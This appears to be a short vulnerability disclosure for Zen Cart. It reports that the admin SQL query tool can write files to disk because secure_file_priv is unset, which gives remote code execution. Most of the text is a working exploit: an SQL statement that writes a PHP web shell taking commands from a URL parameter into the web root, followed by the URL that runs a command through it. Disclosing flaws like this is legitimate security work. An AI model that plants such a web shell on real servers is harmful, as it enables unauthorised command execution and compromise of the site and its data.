Zencart | RCE via SQL query executor file upload

The [/zencart/Horse-Kgc-fRizz/index.php?cmd=sqlpatch] endpoint allows admins to run SQL queries. This feature was created to allow developer to manually configure or modify the database but there is a problem, this feature allows you to write files including PHP shells and access them which results in RCE. This is because secure_file_priv is not set, creating a critical security issue.

Reproduce

Go to the following endpoint:

/zencart/Horse-Kgc-fRizz/index.php?cmd=sqlpatch

Use the following SQL command to upload shell to zencart directory:

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/zencart/shell.php';

Access the shell:

http://127.0.0.1/zencart/shell.php?cmd=id